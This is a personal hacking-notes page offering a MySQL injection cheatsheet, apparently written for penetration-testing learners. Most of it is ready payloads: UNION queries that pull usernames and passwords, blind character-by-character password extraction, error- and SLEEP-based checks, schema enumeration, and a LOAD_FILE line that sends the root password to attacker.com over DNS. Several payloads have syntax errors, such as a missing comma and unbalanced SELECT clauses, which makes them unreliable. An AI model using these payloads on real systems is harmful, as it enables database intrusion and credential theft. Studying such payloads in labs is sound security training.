Hack Notes
GithubTwitterTryHackMeHackTheBox
  • Hack Notes
    • # whoami
  • 🕸️Web Application Security
    • Web Application Security Notes
      • SQL Injection
        • Basic Microsoft SQL injection Cheatsheet
        • Basic PostgreSQL injection Cheatsheet
        • Basic MySQL Injection Cheatsheet
        • Basic Oracle SQLi Cheatsheet
      • Authentication Vulnerabilities
        • Authentication Flaws Checklist
        • Authentication Vulnerability Practical
      • Directory Travarsal
        • Directory Traversal Lab
      • Command Injection
        • Command Injection Labs
      • Business logic flaws
        • Business Logic Vulnerabilities Labs
      • Information Disclosure
        • Information Disclosure Labs
      • Access Control
        • Broken Access Controls in Practice
      • File Upload Vulnerability
      • Server Side Request Forgery (SSRF)
      • XML External Entity Injections
      • Web Penetration Testing Tools
  • 📖Writeups
    • TryHackMe
      • The advent of Cyber 1 (2019)
      • THM Basic Pen-Testing Machine
      • THM Room CC: Pentesting
      • THM Machine DailyBugle
      • THM Machine Fortress
      • THM Machine Internal
      • THM Room: OWASP Top 10 Answers
      • THM Machine: Overpass
      • THM Machine: Overpass 2 - Hacked
      • THM Machine: Overpass 3 - Hosting
      • THM Room: Pickle Rick CTF
      • THM Machine Relevant
      • THM Machine: SkyNet
      • THM Room: Web Fundamentals
  • ☠️CNWPP
    • CNWPP
      • CNWPP Content
      • Week #1 Introduction to Pentest
      • Week #2 Pentesting Methodologies
      • Week #3 Network Pentesting
      • Week #4 Web Application Pentesting
  • 🏛️Active Directory (AD)
    • Active Directory Attacks
      • LLMNR Poisoning Attack
      • SMB Relay Attack
      • IPv6 Attacks
        • IPv6 Attack In Action
      • Kerberos
        • Kerberos Pre Authentication Attack
        • Kerberoasting
        • DCsync Attack
Powered by GitBook
On this page
  • Retreaving Database version
  • String Concatenation
  • Substring
  • Conditional Errors
  • Time Delays
  • DNS Lookups
  • Database Contents

Was this helpful?

  1. Web Application Security
  2. Web Application Security Notes
  3. SQL Injection

Basic MySQL Injection Cheatsheet

Retreaving Database version

SELECT @@version

UNION Statement Context

' UNION SELECT NULL, @@version -- -

Note: In UNION Statement we have to match the number of columns of first select statement so that's why we use one NULL in the payload.

String Concatenation

SELECT CONCAT(username, password) FROM Users

UNION Statement Context

' UNION SELECT NULL,CONCAT(username, ':', password) FROM Users-- -

Substring

SELECT SUBSTRING(password, 2,1) FROM users where username = 'administrator'

Note: In the above query we only extract second character of Administrator users password with the length of one that's mean only one character at a time. SUBSTRING Function has a syntax like this SUBSTRING(string , start position, total length)

In a blind SQLi Context where we have some difference in response

' AND SELECT SUBSTRING((SELECT Password FROM Users Where Username = 'Administrator'),1,1) = FUZZ

Note: Suppost we have a blind SQLi in which we have some difference in response like Content Length or any wellcome back message of successfull login etc. Using above query we add a True or False condition using AND keyword so when Password of the Administrator user have a character equal to or FUZZ character then they shows us a welcome back message or different content length otherwise they didn't show us that. In FUZZ we have a dictionary that contain all alpha-numeric characters and symbols.

Conditional Errors

SELECT IF(SUBSTRING((SELECT Password From User where Usersname = 'Administrator') ,1,1) = FUZZ , 1/0,True)

In SQLi Context

' AND select if(substring((select password from users where username = "administrator")1,1) = FUZZ, 1/0, True )

Time Delays

SELECT SLEEP(10)

Blind SQLi Context

' AND select if(substring((select password from users where username = "administrator")1,1) = FUZZ, SLEEP(5), True )

DNS Lookups

# Only Works on windows

LOAD_FILE('\\\\attacker.com\\a')

SELECT ... INTO OUTFILE '\\\\attacker.com\a'

SQLi Context

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root'  
LIMIT 1),'.attacker.com\\foobar'));
SELECT @@version into outfile '\\\\attacker.com\\temp

Database Contents

List all the tables

SELECT * FROM information_schema.tables

USING UNION Statement

' UNION SELECT Null, table_name FROM information_schema.tables

List all the columns in a Table

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Using UNION Statement

' UNION SELECT NULL, column_name FROM information_schema.columns where table_name = 'TABLE_NAME_HERE'
PreviousBasic PostgreSQL injection CheatsheetNextBasic Oracle SQLi Cheatsheet

Last updated 2 years ago

Was this helpful?

🕸️